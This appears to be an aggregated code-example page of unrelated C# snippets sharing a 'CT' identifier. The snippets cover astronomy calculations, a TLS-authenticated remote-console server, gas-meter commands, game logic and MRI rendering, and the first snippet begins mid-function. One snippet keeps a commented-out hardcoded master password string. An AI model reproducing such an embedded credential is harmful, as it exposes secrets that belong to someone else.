                    z        = R * Math.Sin(Brad) - R0 * Math.Sin(B0);
                    distance = Math.Sqrt(x * x + y * y + z * z);
                }
                else
                {
                    distance = R; //Distance to the sun from the earth is in fact the radius vector
                }
                //Prepare for the next loop around
                JD0 = JD - ELL.DistanceToLightTime(distance);
            }
        }

        Lrad = CT.D2R(L);
        Brad = CT.D2R(B);
        cosB = Math.Cos(Brad);
        cosL = Math.Cos(Lrad);
        x    = R * cosB * cosL - R0 * cosB0 * Math.Cos(L0);
        y    = R * cosB * Math.Sin(Lrad) - R0 * cosB0 * Math.Sin(L0);
        z    = R * Math.Sin(Brad) - R0 * Math.Sin(B0);
        double x2 = x * x;
        double y2 = y * y;

        details.ApparentGeocentricLatitude  = CT.R2D(Math.Atan2(z, Math.Sqrt(x2 + y2)));
        details.ApparentGeocentricDistance  = Math.Sqrt(x2 + y2 + z * z);
        details.ApparentGeocentricLongitude = CT.M360(CT.R2D(Math.Atan2(y, x)));
        details.ApparentLightTime           = ELL.DistanceToLightTime(details.ApparentGeocentricDistance);

        //Adjust for Aberration
        COR Aberration = ABR.EclipticAberration(details.ApparentGeocentricLongitude, details.ApparentGeocentricLatitude, JD);

        details.ApparentGeocentricLongitude += Aberration.X;
        details.ApparentGeocentricLatitude  += Aberration.Y;

        //convert to the FK5 system
        double DeltaLong = CAAFK5.CorrectionInLongitude(details.ApparentGeocentricLongitude, details.ApparentGeocentricLatitude, JD);

        details.ApparentGeocentricLatitude  += CAAFK5.CorrectionInLatitude(details.ApparentGeocentricLongitude, JD);
        details.ApparentGeocentricLongitude += DeltaLong;

        //Correct for nutation
        double NutationInLongitude = CAANutation.NutationInLongitude(JD);
        double Epsilon             = CAANutation.TrueObliquityOfEcliptic(JD);

        details.ApparentGeocentricLongitude += CT.DMS2D(0, 0, NutationInLongitude);

        //Convert to RA and Dec
        COR ApparentEqu = CT.Ec2Eq(details.ApparentGeocentricLongitude, details.ApparentGeocentricLatitude, Epsilon);

        details.ApparentGeocentricRA          = ApparentEqu.X;
        details.ApparentGeocentricDeclination = ApparentEqu.Y;

        return(details);
    }
Example #19
0
        protected void ClientThreadEntry()
        {
            try
            {
                TcpListener listenerV4 = new TcpListener(IPAddress.Any, PortNumber);
                TcpListener listenerV6 = new TcpListener(IPAddress.IPv6Any, PortNumber);
                listenerV4.Start(10);
                listenerV6.Start(10);

                // Start listening for connections.

                Log.WriteLine("Listening for TCP connections on port " + PortNumber + "...\n", Severity.Debug);
                while (!Stopping)
                {
                    TcpClient ClientRequest;
                    try
                    {
                        if (listenerV4.Pending())
                        {
                            ClientRequest = listenerV4.AcceptTcpClient();
                        }
                        else if (listenerV6.Pending())
                        {
                            ClientRequest = listenerV6.AcceptTcpClient();
                        }
                        else
                        {
                            Thread.Sleep(250); continue;
                        }

                        Log.WriteLine("TCP Client accepted.\n", Severity.Debug);

                        NetworkStream = new SslStream(ClientRequest.GetStream(), false);
                        NetworkStream.AuthenticateAsServer(GetRemoteDesktopCertificate(), false, SslProtocols.Tls12, true);
                        if (!NetworkStream.IsAuthenticated)
                        {
                            NetworkStream = null;
                            Log.WriteLine("Unable to authenticate incoming connection from " + ((IPEndPoint)ClientRequest.Client.RemoteEndPoint).Address.ToString() + ".", Severity.Warning);
                            ClientRequest.Close();
                            continue;
                        }
                        if (!NetworkStream.IsEncrypted)
                        {
                            NetworkStream = null;
                            Log.WriteLine("Unable to encrypt incoming connection from " + ((IPEndPoint)ClientRequest.Client.RemoteEndPoint).Address.ToString() + ".", Severity.Warning);
                            ClientRequest.Close();
                            continue;
                        }
                        // Display the properties and settings for the authenticated stream.
                        Log.WriteLine("Authentication successful [host].\n", Severity.Debug);
#if DEBUG
                        DisplaySecurityLevel(Log, NetworkStream, Severity.Debug);
                        DisplaySecurityServices(Log, NetworkStream, Severity.Debug);
                        DisplayCertificateInformation(Log, NetworkStream, Severity.Debug);
                        DisplayStreamProperties(Log, NetworkStream, Severity.Debug);
#endif

                        // Transmit our version info as a hello.
                        System.Reflection.Assembly assembly = System.Reflection.Assembly.GetExecutingAssembly();
                        FileVersionInfo            fvi      = FileVersionInfo.GetVersionInfo(assembly.Location);
                        string version = fvi.FileVersion;
                        string XmlMsg  = "<Portal-Version Core-Library=\"" + fvi.FileVersion + "\" />";
                        byte[] RawMsg  = Encoding.Unicode.GetBytes(XmlMsg);
                        if (NetworkStream != null)
                        {
                            SendMessage(NetworkStream, RawMsg);
                        }
                    }
                    catch (Win32Exception ex)
                    {
                        Log.WriteLine("Exception accepting new connection: " + ex.ToString(), Severity.Debug);
                        if ((uint)ex.ErrorCode == 0x80004005)
                        {
                            // The credentials supplied to the pacakage were not recognized.
                            // This error comes up rom NetworkStream.AuthenticateAsServer() or GetRemoteDesktopCertificate() for localhost slave when there is no administrative access.
                            Log.WriteLine("This exception usually indicates that administrative access was required but not present.", Severity.Debug);
                        }
                        continue;
                    }
                    catch (Exception ex)
                    {
                        // Note: "The credentials supplied to the package were not recognized" is probably a sign that the code doesn't have Administrator access and can't access the subsystem or certificate it needs.
                        Log.WriteLine("Exception accepting new connection: " + ex.ToString(), Severity.Debug);
                        continue;
                    }

                    try
                    {
                        ServiceConnection(NetworkStream, ClientRequest, ClientRequest.GetStream());
                    }
                    catch (Exception ex)
                    {
                        Log.WriteLine("Exception servicing connection: " + ex.ToString(), Severity.Debug);
                    }

                    lock (ProcessLock)
                    {
                        // Setting ConnectedProcess to null before accepting a new connection is essential to security.  It prevents access to the console without a new authentication and Connect-Terminal.
                        ConnectedProcess = null;

                        // If we aren't attached to a console, FreeConsole() would return ERROR_INVALID_PARAMETER.
                        ConsoleApi.FreeConsole();

                        Log.WriteLine("Closing connection in SlaveCore (if it isn't already).", Severity.Debug);
                        if (ClientRequest != null)
                        {
                            ClientRequest.Dispose(); ClientRequest = null;
                        }

                        if (Conin != null)
                        {
                            Conin.Dispose(); Conin = null;
                        }
                        if (CT != null)
                        {
                            CT.Dispose(); CT = null;
                        }
                    }
                }

                lock (ProcessLock)
                {
                    ConnectedProcess = null;
                    foreach (var kvp in Processes)
                    {
                        kvp.Value.Dispose();
                    }
                    Processes.Clear();
                }
            }
            catch (Exception e)
            {
                Log.WriteLine("Error: " + e.ToString(), Severity.Error);
            }
        }
Example #20
0
    public static double MeanObliquityOfEcliptic(double JD)
    {
        double U        = (JD - 2451545) / 3652500;
        double Usquared = U * U;
        double Ucubed   = Usquared * U;
        double U4       = Ucubed * U;
        double U5       = U4 * U;
        double U6       = U5 * U;
        double U7       = U6 * U;
        double U8       = U7 * U;
        double U9       = U8 * U;
        double U10      = U9 * U;


        return(CT.DMS2D(23, 26, 21.448) - CT.DMS2D(0, 0, 4680.93) * U - CT.DMS2D(0, 0, 1.55) * Usquared + CT.DMS2D(0, 0, 1999.25) * Ucubed - CT.DMS2D(0, 0, 51.38) * U4 - CT.DMS2D(0, 0, 249.67) * U5 - CT.DMS2D(0, 0, 39.05) * U6 + CT.DMS2D(0, 0, 7.12) * U7 + CT.DMS2D(0, 0, 27.87) * U8 + CT.DMS2D(0, 0, 5.79) * U9 + CT.DMS2D(0, 0, 2.45) * U10);
    }
Example #21
0
        void ServiceConnection(SslStream Stream, TcpClient Client, NetworkStream BaseStream)
        {
            char[] buffer = new char[4096];
            //StringBuilder sb = new StringBuilder();

            while (!Stopping && IsStillConnected(Client) && BaseStream != null)
            {
                // PollConnection() checks and assembles incoming messages from the Stream (in this case, receiving from the master PC) and
                // calls OnMessage() when one is completed.
                if (BaseStream.DataAvailable)
                {
                    List <byte[]> Messages = PollConnection(NetworkStream);
                    foreach (byte[] Message in Messages)
                    {
                        OnMessageReceived(Message);
                    }
                }

                Thread.Sleep(50);

                // If a process is connected, service it now.
                lock (ProcessLock)
                {
                    if (ConnectedProcess != null)
                    {
                        if (CT != null)
                        {
                            // There is a 64KB message size limit imposed in SendMessage().  Unicode characters I think are 16-bits, but
                            // I think certain characters can be up to 4-bytes?  Well, maybe not.  Either way, there's not much cost here
                            // so I'll assume 4-bytes per character.  Base-64 expands the size of the data by 4/3rds (plus a handful).
                            // So if we max at 12000, that allows 48000 4-byte characters that expand to 64000, and our actual message
                            // limit is at 65536 allowing some margin plus the wrapping.
                            const int MaxSize = 12000;

                            bool   Stale         = false;
                            bool   MaxedMessage  = false;
                            int    ScrolledLines = 0;
                            string NewText       = "";
                            ScrolledLines = CT.CheckForLineScroll(out Stale);
                            if (!Stale)
                            {
                                NewText = CT.ReadNew(out Stale, out MaxedMessage, true, MaxSize);
                            }
                            if (!Stale)
                            {
                                CT.SpotCheckState(MaxedMessage, out Stale);
                            }
                            if (Stale)
                            {
                                NewText = CT.ReadWholeConsole(MaxSize);
                                string EncodedText = System.Convert.ToBase64String(Encoding.Unicode.GetBytes(NewText));
                                string XmlMsg      = "<Whole-Console>" + EncodedText + "</Whole-Console>";
                                byte[] RawMsg      = Encoding.Unicode.GetBytes(XmlMsg);
                                SendMessage(Stream, RawMsg);
                            }
                            else if ((NewText.Length > 0 && NewText.Contains("\n")) || ScrolledLines != 0)
                            {
                                string EncodedText = System.Convert.ToBase64String(Encoding.Unicode.GetBytes(NewText));
                                //string XmlMsg = "<Console-New Last-X=\"" + CT.LastCursorPosition.X + "\" Last-Y=\"" + CT.LastCursorPosition.Y + "\">" + EncodedText + "</Console-New>";
                                string XmlMsg;
                                if (NewText.Length > 0 && NewText.Contains("\n"))
                                {
                                    XmlMsg = "<Console-New Scrolled=\"" + ScrolledLines.ToString() + "\">" + EncodedText + "</Console-New>";
                                }
                                else
                                {
                                    XmlMsg = "<Console-New Scrolled=\"" + ScrolledLines.ToString() + "\" />";
                                }
                                byte[] RawMsg = Encoding.Unicode.GetBytes(XmlMsg);
                                SendMessage(Stream, RawMsg);
                            }
                            else
                            {
                                string CurrentLine = CT.PeekCurrentLine();
                                if (LastCurrentLine != CurrentLine)
                                {
                                    LastCurrentLine = CurrentLine;
                                    string EncodedText = System.Convert.ToBase64String(Encoding.Unicode.GetBytes(CurrentLine));
                                    string XmlMsg      = "<Current-Console-Line>" + EncodedText + "</Current-Console-Line>";
                                    byte[] RawMsg      = Encoding.Unicode.GetBytes(XmlMsg);
                                    SendMessage(Stream, RawMsg);
                                }
                            }
                        }
                    }
                }
            }
        }
Example #22
0
    public static double EclipticLatitude(double JD)
    {
        double rho        = (JD - 2451545) / 365250;
        double rhosquared = rho * rho;
        double rhocubed   = rhosquared * rho;
        double rho4       = rhocubed * rho;
        double rho5       = rho4 * rho;

        //Calculate B0
        int    nB0Coefficients = GFX.g_B0SaturnCoefficients.Length;
        double B0 = 0;
        int    i;

        for (i = 0; i < nB0Coefficients; i++)
        {
            B0 += GFX.g_B0SaturnCoefficients[i].A * Math.Cos(GFX.g_B0SaturnCoefficients[i].B + GFX.g_B0SaturnCoefficients[i].C * rho);
        }

        //Calculate B1
        int    nB1Coefficients = GFX.g_B1SaturnCoefficients.Length;
        double B1 = 0;

        for (i = 0; i < nB1Coefficients; i++)
        {
            B1 += GFX.g_B1SaturnCoefficients[i].A * Math.Cos(GFX.g_B1SaturnCoefficients[i].B + GFX.g_B1SaturnCoefficients[i].C * rho);
        }

        //Calculate B2
        int    nB2Coefficients = GFX.g_B2SaturnCoefficients.Length;
        double B2 = 0;

        for (i = 0; i < nB2Coefficients; i++)
        {
            B2 += GFX.g_B2SaturnCoefficients[i].A * Math.Cos(GFX.g_B2SaturnCoefficients[i].B + GFX.g_B2SaturnCoefficients[i].C * rho);
        }

        //Calculate B3
        int    nB3Coefficients = GFX.g_B3SaturnCoefficients.Length;
        double B3 = 0;

        for (i = 0; i < nB3Coefficients; i++)
        {
            B3 += GFX.g_B3SaturnCoefficients[i].A * Math.Cos(GFX.g_B3SaturnCoefficients[i].B + GFX.g_B3SaturnCoefficients[i].C * rho);
        }

        //Calculate B4
        int    nB4Coefficients = GFX.g_B4SaturnCoefficients.Length;
        double B4 = 0;

        for (i = 0; i < nB4Coefficients; i++)
        {
            B4 += GFX.g_B4SaturnCoefficients[i].A * Math.Cos(GFX.g_B4SaturnCoefficients[i].B + GFX.g_B4SaturnCoefficients[i].C * rho);
        }

        //Calculate B5
        int    nB5Coefficients = GFX.g_B5SaturnCoefficients.Length;
        double B5 = 0;

        for (i = 0; i < nB5Coefficients; i++)
        {
            B5 += GFX.g_B5SaturnCoefficients[i].A * Math.Cos(GFX.g_B5SaturnCoefficients[i].B + GFX.g_B5SaturnCoefficients[i].C * rho);
        }

        double @value = (B0 + B1 * rho + B2 * rhosquared + B3 * rhocubed + B4 * rho4 + B5 * rho5) / 100000000;

        //convert results back to degrees
        @value = CT.R2D(@value);
        return(@value);
    }
Example #23
0
        /// <summary>
        /// 换表申请指令
        /// </summary>
        /// <returns></returns>
        public string SubmitASK(string taskID, IoT_Meter meter, decimal LJGas)
        {
            /*数据标识DI,序号SER,当前累计用量(金额),当前剩余用量(气量/金额),本阶梯周期已使用累计用量(气量)*/

            //创建一个任务
            MongoDBHelper <Task> mongo_task = new MongoDBHelper <Task>();
            Task task = new Task();

            task.MeterMac  = meter.MeterNo.Trim();
            task.TaskDate  = QuShi.getDate();
            task.TaskID    = taskID;                 //用于和指令进行进行关联
            task.TaskState = TaskState.Waitting;
            task.TaskType  = TaskType.TaskType_换表登记; //点火任务(DH),换表登记(HB)、开阀(KF)、关阀(GF)、充值(CZ)、调整价格(TJ)
            //写任务
            mongo_task.Insert(CollectionNameDefine.TaskCollectionName, task);

            Command cmd = new Command();
            byte    ser = Convert.ToByte(new Random().Next(0, 255));

            cmd = new Command();
            //1.写密钥
            //DataItem_A014 item_A014 = new DataItem_A014(ser, (byte)meter.MKeyVer, meter.MKey);//
            //cmd.TaskID = task.TaskID;
            //cmd.Identification = ((UInt16)item_A014.IdentityCode).ToString("X2");
            //cmd.ControlCode = (byte)ControlCode.WriteData;//写操作
            //cmd.DataLength = Convert.ToByte(item_A014.Length);
            //cmd.DataCommand = MyDataConvert.BytesToHexStr(item_A014.GetBytes());
            //cmd.Order = 1;
            //CommandDA.Insert(cmd);

            ////2.设置上传周期
            //DataItem_C105 item_C105 = new DataItem_C105(Convert.ToByte(new Random().Next(0, 255)), ReportCycleType.天周期, 1, 23, 59);
            //cmd = new Command();
            //cmd.TaskID = task.TaskID;
            //cmd.Identification = ((UInt16)item_C105.IdentityCode).ToString("X2");
            //cmd.ControlCode = (byte)ControlCode.CYWriteData;//设置参数
            //cmd.DataLength = Convert.ToByte(item_C105.Length);
            //cmd.DataCommand = MyDataConvert.BytesToHexStr(item_C105.GetBytes());
            //cmd.Order = 2;
            //CommandDA.Insert(cmd);

            ////3.设置报警参数
            //DataItem_C103 item_C103 = new DataItem_C103(Convert.ToByte(new Random().Next(0, 255)), new WaringSwitchSign() { 长期未使用切断报警 = true, 长期未与服务器通讯报警 = true });
            //cmd = new Command();
            //cmd.TaskID = task.TaskID;
            //cmd.Identification = ((UInt16)item_C103.IdentityCode).ToString("X2");
            //cmd.ControlCode = (byte)ControlCode.CYWriteData;//设置参数
            //cmd.DataLength = Convert.ToByte(item_C103.Length);
            //cmd.DataCommand = MyDataConvert.BytesToHexStr(item_C103.GetBytes());
            //cmd.Order = 3;
            //CommandDA.Insert(cmd);

            //4.写价格表
            DataItem_A010 item_A010 = null;
            CT            ct        = new CT(meter.MeterType == "00" ? MeterType.气量表 : MeterType.金额表,
                                             (bool)meter.IsUsed, (JieSuanType)Convert.ToInt16(meter.SettlementType.ToString()), meter.Ladder == null ? 1 : (int)meter.Ladder);

            item_A010           = new DataItem_A010(Convert.ToByte(new Random().Next(0, 255)), ct, DateTime.Now);
            item_A010.Price1    = (decimal)meter.Price1;
            item_A010.Price2    = (decimal)meter.Price2;
            item_A010.Price3    = (decimal)meter.Price3;
            item_A010.Price4    = (decimal)meter.Price4;
            item_A010.Price5    = (decimal)meter.Price5;
            item_A010.UseGas1   = (decimal)meter.Gas1;
            item_A010.UseGas2   = (decimal)meter.Gas2;
            item_A010.UseGas3   = (decimal)meter.Gas3;
            item_A010.UseGas4   = (decimal)meter.Gas4;
            item_A010.StartDate = DateTime.Now;

            cmd                = new Command();
            cmd.TaskID         = task.TaskID;
            cmd.Identification = ((UInt16)item_A010.IdentityCode).ToString("X2");
            cmd.ControlCode    = (byte)ControlCode.WriteData;//设置参数
            cmd.DataLength     = Convert.ToByte(item_A010.Length);
            cmd.DataCommand    = MyDataConvert.BytesToHexStr(item_A010.GetBytes());
            cmd.Order          = 4;
            CommandDA.Insert(cmd);

            //5.写结算日
            DataItem_A011 item_a011 = new DataItem_A011(Convert.ToByte(new Random().Next(0, 255)), Convert.ToByte(meter.SettlementDay));

            item_a011.JieSuanMonth = 1;//根据系统定义取值
            cmd                = new Command();
            cmd.TaskID         = task.TaskID;
            cmd.Identification = ((UInt16)item_a011.IdentityCode).ToString("X2");
            cmd.ControlCode    = (byte)ControlCode.WriteData;//设置参数
            cmd.DataLength     = Convert.ToByte(item_a011.Length);
            cmd.DataCommand    = MyDataConvert.BytesToHexStr(item_a011.GetBytes());

            cmd.Order = 5;
            CommandDA.Insert(cmd);
            //6.写换表指令
            DataItem_C107 item_C107 = new DataItem_C107(Convert.ToByte(new Random().Next(0, 255)), 0.0m, (decimal)meter.TotalTopUp, LJGas);

            cmd                = new Command();
            cmd.TaskID         = task.TaskID;
            cmd.Identification = ((UInt16)item_C107.IdentityCode).ToString("X2");
            cmd.ControlCode    = (byte)ControlCode.CYWriteData;//设置参数
            cmd.DataLength     = Convert.ToByte(item_C107.Length);
            cmd.DataCommand    = MyDataConvert.BytesToHexStr(item_C107.GetBytes());
            cmd.Order          = 6;
            CommandDA.Insert(cmd);
            return("");
        }
Example #24
0
    public void AfterMapMovement()
    {
        foreach (CombatTile CT in BattleFieldTiles)
        {
            CT.ChangeFromMovable();
            CT.ChangeFromAttackable();
            CT.ClearLists();
        }

        //ensure that tiles are properly threatened
        foreach (Character chara in Friends)
        {
            //do the movement Calculation, but for
            Vector2Int selectedPosition = chara.MapPosition;
            int        maxValue         = chara.MaxRangeOpportunity;
            Vector2Int tempPos;
            int        Xvalue = maxValue;
            int        Yvalue = 0;

            while (Xvalue >= -maxValue)
            {
                Yvalue = 0;
                do
                {
                    tempPos = new Vector2Int(selectedPosition.x + Xvalue, selectedPosition.y + Yvalue);

                    if ((tempPos.x >= 0 && tempPos.x < 4) && (tempPos.y >= 0 && tempPos.y < 12))
                    {
                        BattleFieldTiles[tempPos.x, tempPos.y].AddThreateningPlayer(chara);
                    }

                    tempPos = new Vector2Int(selectedPosition.x + Xvalue, selectedPosition.y - Yvalue);
                    if ((tempPos.x >= 0 && tempPos.x < 4) && (tempPos.y >= 0 && tempPos.y < 12))
                    {
                        BattleFieldTiles[tempPos.x, tempPos.y].AddThreateningPlayer(chara);
                    }

                    Yvalue++;
                } while ((Mathf.Abs(Xvalue) + Yvalue) <= maxValue);


                Xvalue--;
            }
        }
        foreach (Monster chara in Foes)
        {
            //do the movement Calculation, but for
            Vector2Int selectedPosition = chara.MapPosition;
            int        maxValue         = chara.MaxRangeOpportunity;
            Vector2Int tempPos;
            int        Xvalue = maxValue;
            int        Yvalue = 0;

            while (Xvalue >= -maxValue)
            {
                Yvalue = 0;
                do
                {
                    tempPos = new Vector2Int(selectedPosition.x + Xvalue, selectedPosition.y + Yvalue);

                    if ((tempPos.x >= 0 && tempPos.x < 4) && (tempPos.y >= 0 && tempPos.y < 12))
                    {
                        BattleFieldTiles[tempPos.x, tempPos.y].AddThreateningMonster(chara);
                    }

                    tempPos = new Vector2Int(selectedPosition.x + Xvalue, selectedPosition.y - Yvalue);
                    if ((tempPos.x >= 0 && tempPos.x < 4) && (tempPos.y >= 0 && tempPos.y < 12))
                    {
                        BattleFieldTiles[tempPos.x, tempPos.y].AddThreateningMonster(chara);
                    }

                    Yvalue++;
                } while ((Mathf.Abs(Xvalue) + Yvalue) <= maxValue);


                Xvalue--;
            }
        }
    }
Example #25
0
        public fMain(string[] args)
        {
            InitializeComponent();
            var espackArgs = CT.LoadVars(args);

            //Values.gDatos.DataBase = "Sistemas";//espackArgs.DataBase;
            //Values.gDatos.Server = "192.168.200.7";//espackArgs.Server;
            //Values.gDatos.User = "******";//espackArgs.User;
            //Values.gDatos.Password = "******"; //espackArgs.Password;

            conn.DataBase = espackArgs.DataBase;
            conn.Server   = espackArgs.Server;
            conn.User     = espackArgs.User;
            conn.Password = espackArgs.Password;
            //Values.gOldMaster = "Y?D6d#b@".ToSecureString();
            this.Text = string.Format("Personal Build {0} - ({1:yyyyMMdd})*", Assembly.GetExecutingAssembly().GetName().Version.ToString(), CT.GetBuildDateTime(Assembly.GetExecutingAssembly()));
            try
            {
                conn.Connect();
            }
            catch (Exception e)
            {
                MessageBox.Show("Error connecting to database: " + e.Message, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit();
            }
            conn.Close();
        }
//Static methods

    //////////////////// Implementation ///////////////////////////////////////////

    public static double PhaseAngle(double r, double R, double Delta)
    {
        //Return the result
        return(CT.M360(CT.R2D(Math.Acos((r * r + Delta * Delta - R * R) / (2 * r * Delta)))));
    }
Example #27
0
 public GPD()
 {
     ctInst = new CT();
 }
        static void Main(string[] args)
        {
            CT.Header("Shopping List", "");

            string fileName = Directory.GetCurrentDirectory();

            fileName = fileName.Replace(@"\ShoppingList\bin\Debug", @"\ShoppingList.txt");

            Preset(fileName);

IfAddedMoreItems:
            StreamReader file = new StreamReader(fileName);

            int    lineNum = 0;
            string line;
            string fruit;
            double quantity, price, totalCost = 0;

            while ((line = file.ReadLine()) != null)
            {
                string[] set = line.Split(',');
                fruit    = set[0].Trim();
                quantity = Convert.ToDouble(set[1].Trim());
                price    = Convert.ToDouble(set[2].Trim());
                lineNum++;
                Item item = new Item(fruit, quantity, price);
                totalCost += item.Cost;
                Console.WriteLine("\nItem number {0}: {1}\nYou need {2}, each at {3:C}.\t\t"
                                  + "Current total -- {4:C}", lineNum, item.Name, item.Quantity,
                                  item.Price, totalCost);
            }
            CT.Color("magenta");
            Console.WriteLine("\n\nThe total cost is {0:C}", totalCost);
            CT.Color("white");
            Console.Write("Do you want to add any more items (Y/N): ");
            string        moreItems = Console.ReadLine().ToLower();
            List <string> NewItem   = new List <string>();
            int           goToTop   = 0;

            while (moreItems == "y")
            {
                goToTop++;
                moreItems = "";
                Console.WriteLine("What would you like to add to your shopping list");
                NewItem.Add(CT.AskUserForString("the fruit name") + ", " + CT.AskUserForDouble("the quantity of that fruit") + ", "
                            + CT.AskUserForDouble("the price of each fruit") + ",");
                CT.Color("white");
                Console.Write("Do you want to add any more items enter (Y/N): ");
                moreItems = Console.ReadLine().ToLower();
            }
            file.Close();

            if (goToTop > 0)
            {
                FileStream   fappend = File.Open(fileName, FileMode.Append);
                StreamWriter writer  = new StreamWriter(fappend);
                foreach (string newItem in NewItem)
                {
                    writer.WriteLine(newItem);
                }
                writer.Close();
                goto IfAddedMoreItems;
            }

            Console.WriteLine("Do you want to print a copy of your new shopping list (Y/N)");
            if (Console.ReadLine().ToLower() == "y")
            {
                PrintCopy(fileName);
            }

            CT.Footer();
        }
Example #29
0
        //PUT IN COMMENTS
        static void Main(string[] args)
        {
Restart:
            Header(out CT.LengthOfTopLine, "Ch.6 Program 6",
                   "to re make the phone number in a shorter way");

            string[] DisplayNum = new string[10];
            int      counter    = 0;

            Color("magetna");
            Console.WriteLine("Please type in the alphanumeric phonenumber, \n"
                              + "remember to press enter after each digit:\n");

            Color("");
            Console.Write(" _ _ _  _ _ _   _ _ _ _");
            Console.CursorLeft = 0;

            List <string> OriginalNumbers = new List <string>();

            for (int i = 0; i < 10; i++)
            {
                string x = "";
                switch (i + 1)
                {
                case 1:
                    x = "(";
                    break;

                case 2:
                case 3:
                    x = " ";
                    break;

                case 4:
                    x = ") ";
                    break;

                case 5:
                case 6:
                    x = " ";
                    break;

                case 7:
                    x = " - ";
                    break;

                case 8:
                case 9:
                case 10:
                    x = " ";
                    break;
                }
                counter = counter + x.Length;
                OriginalNumbers.Add(AskUserForString2(x, ref counter));
            }

            Color("");
            DisplayNum = OriginalNumbers.ToArray();
            Console.WriteLine("\n\nThe original phone number:");
            CT.Color("magenta");
            Console.WriteLine("({0} {1} {2}) {3} {4} {5} - {6} {7} {8} {9}",
                              DisplayNum[0], DisplayNum[1], DisplayNum[2], DisplayNum[3], DisplayNum[4],
                              DisplayNum[5], DisplayNum[6], DisplayNum[7], DisplayNum[8], DisplayNum[9]);
            CT.Color("");
            List <string> NewNumbers = new List <string>();

            foreach (string num in OriginalNumbers)
            {
                NewNumbers.Add(ConvertToPhoneNumberEquivalent(num));
            }
            DisplayNum = NewNumbers.ToArray();
            Console.WriteLine("\n\nThe useable phone number:");
            CT.Color("magenta");
            Console.WriteLine("({0} {1} {2}) {3} {4} {5} - {6} {7} {8} {9}",
                              DisplayNum[0], DisplayNum[1], DisplayNum[2], DisplayNum[3], DisplayNum[4],
                              DisplayNum[5], DisplayNum[6], DisplayNum[7], DisplayNum[8], DisplayNum[9]);

            Color("white");
            Console.Write("\nDo you wish to enter another phone number: (Y/N) ");
            string input = Console.ReadLine();

            if (input.ToLower() == "y")
            {
                Console.Clear();
                goto Restart;
            }
            CT.Footer();
        }
Example #30
0
        private static void MakeEclipticText()
        {
            int year = SpaceTimeController.Now.GetUTCFullYear();

            if (EclipOvTextBatch == null)
            {
                EclipOvTextBatch = new Text3dBatch(80);

                EclipticTextYear = year;
                double   obliquity = Coordinates.MeanObliquityOfEcliptic(SpaceTimeController.JNow);
                Matrix3d mat       = Matrix3d.RotationX((-obliquity / 360.0 * (Math.PI * 2)));

                double daysPerYear = 365.25;

                if (DT.IsLeap(year, true))
                {
                    monthDays[1] = 29;

                    daysPerYear = 366;
                }
                else
                {
                    monthDays[1] = 28;
                    daysPerYear  = 365;
                }
                int count = 2 * (int)daysPerYear;
                EclipticCount = (int)daysPerYear;
                double jYear = SpaceTimeController.UtcToJulian(new Date(year, 0, 1, 12, 0, 0));


                int    index = 0;
                double d     = 0;

                for (int m = 0; m < 12; m++)
                {
                    int daysThisMonth = (int)monthDays[m];
                    for (int i = 0; i < daysThisMonth; i++)
                    {
                        AstroRaDec sunRaDec = Planets.GetPlanetLocationJD("Sun", jYear);

                        COR sunEcliptic = CT.Eq2Ec(sunRaDec.RA, sunRaDec.Dec, obliquity);

                        d = sunEcliptic.X;

                        double dd = d;// +180;

                        if (i == Math.Floor(daysThisMonth / 2.0))
                        {
                            Vector3d center = Vector3d.TransformCoordinate(Vector3d.Create((Math.Cos((dd * Math.PI * 2.0) / 360)),
                                                                                           .025f,
                                                                                           (Math.Sin((dd * Math.PI * 2.0) / 360))), mat);
                            Vector3d up = Vector3d.TransformCoordinate(Vector3d.Create((Math.Cos((dd * Math.PI * 2.0) / 360)),
                                                                                       .045f,
                                                                                       (Math.Sin((dd * Math.PI * 2.0) / 360))), mat);
                            up.Subtract(center);

                            up.Normalize();
                            EclipOvTextBatch.Add(new Text3d(center, up, monthNames[m], 80, .000159375));
                        }


                        index++;

                        index++;
                        jYear += 1;
                    }
                    d += monthDays[m];
                }
            }
        }
Example #31
0
        private void run()
        {
            _bones       = new Separator[TextureSettings.ShortBNames.Length];
            _subjectPath = textBoxSubjectDirectory.Text.Trim();

            //TODO: Figure out the image type....
            parseCropValues();

            CT mri;

            //check if we have this MRI saved!!!, dirty cache
            //TODO: Check if the crop values are compatable!!!
            if (false && _LastImagePath.ToLower().Equals(textBoxImageFile.Text.Trim().ToLower()))
            {
                mri = _LastMRI;
            }
            else
            {
                //pass crop values now, for faster read :)
                mri = CT.SmartLoad(textBoxImageFile.Text);
                mri.setCrop(_minX, _maxX, _minY, _maxY, _minZ, _maxZ);
                if (mri.Layers == 1)  //the default case, we want to load the only layer, echo 0
                {
                    mri.loadImageData();
                }
                else //for other cases, we should try and load layer 5, the layer used by the Wrist Registration Code.
                {
                    mri.loadImageData(5); //TODO: Option for loading different image layers, check for at least 6, etc.
                }
                _LastMRI       = mri;
                _LastImagePath = textBoxImageFile.Text.Trim(); //save filename, to use in cache
            }

            Byte[][] voxels = mri.getCroppedRegionScaledToBytes((mri.Layers == 1) ? 0 : 5);
            int      min    = 1000;
            int      max    = -10;

            for (int i = 0; i < voxels[0].Length; i++)
            {
                if (voxels[0][i] < min)
                {
                    min = voxels[0][i];
                }
                if (voxels[0][i] > max)
                {
                    max = voxels[0][i];
                }
            }

            Hashtable transforms = null;

            _transformParser = null;
            if (File.Exists(textBoxKinematicFilename.Text))
            {
                switch (_kinematicFileType)
                {
                case KinematicFileTypes.AUTO_REGISTR:
                    _transformParser = new TransformParser(textBoxKinematicFilename.Text);
                    transforms       = _transformParser.getFinalTransforms();
                    break;

                case KinematicFileTypes.OUT_RT:
                    throw new NotImplementedException("Can't yet read OutRT files");

                case KinematicFileTypes.MOTION:
                    throw new NotImplementedException("Can't yet read Motion files");
                }
            }

            //lets load each bone
            for (int i = 0; i < TextureSettings.ShortBNames.Length; i++)
            {
                double[][] pts = DatParser.parseDatFile(getBoneFileName(TextureSettings.ShortBNames[i]));
                _bones[i] = Texture.createPointsFileObject(pts, TextureSettings.BoneColors[i]);
                //try and load transforms
                if (transforms != null && transforms.ContainsKey(TextureSettings.TransformBNames[i]))
                {
                    Transform tfrm = new Transform();
                    TransformParser.addTfmMatrixtoTransform((TransformMatrix)transforms[TextureSettings.TransformBNames[i]], tfrm);
                    _bones[i].addTransform(tfrm);
                }
                _root.addChild(_bones[i]);
            }

            _texture = new Texture(_side == WristFilesystem.Sides.LEFT ? Texture.Sides.LEFT : Texture.Sides.RIGHT,
                                   mri.Cropped_SizeX, mri.Cropped_SizeY, mri.Cropped_SizeZ, mri.voxelSizeX, mri.voxelSizeY, mri.voxelSizeZ);
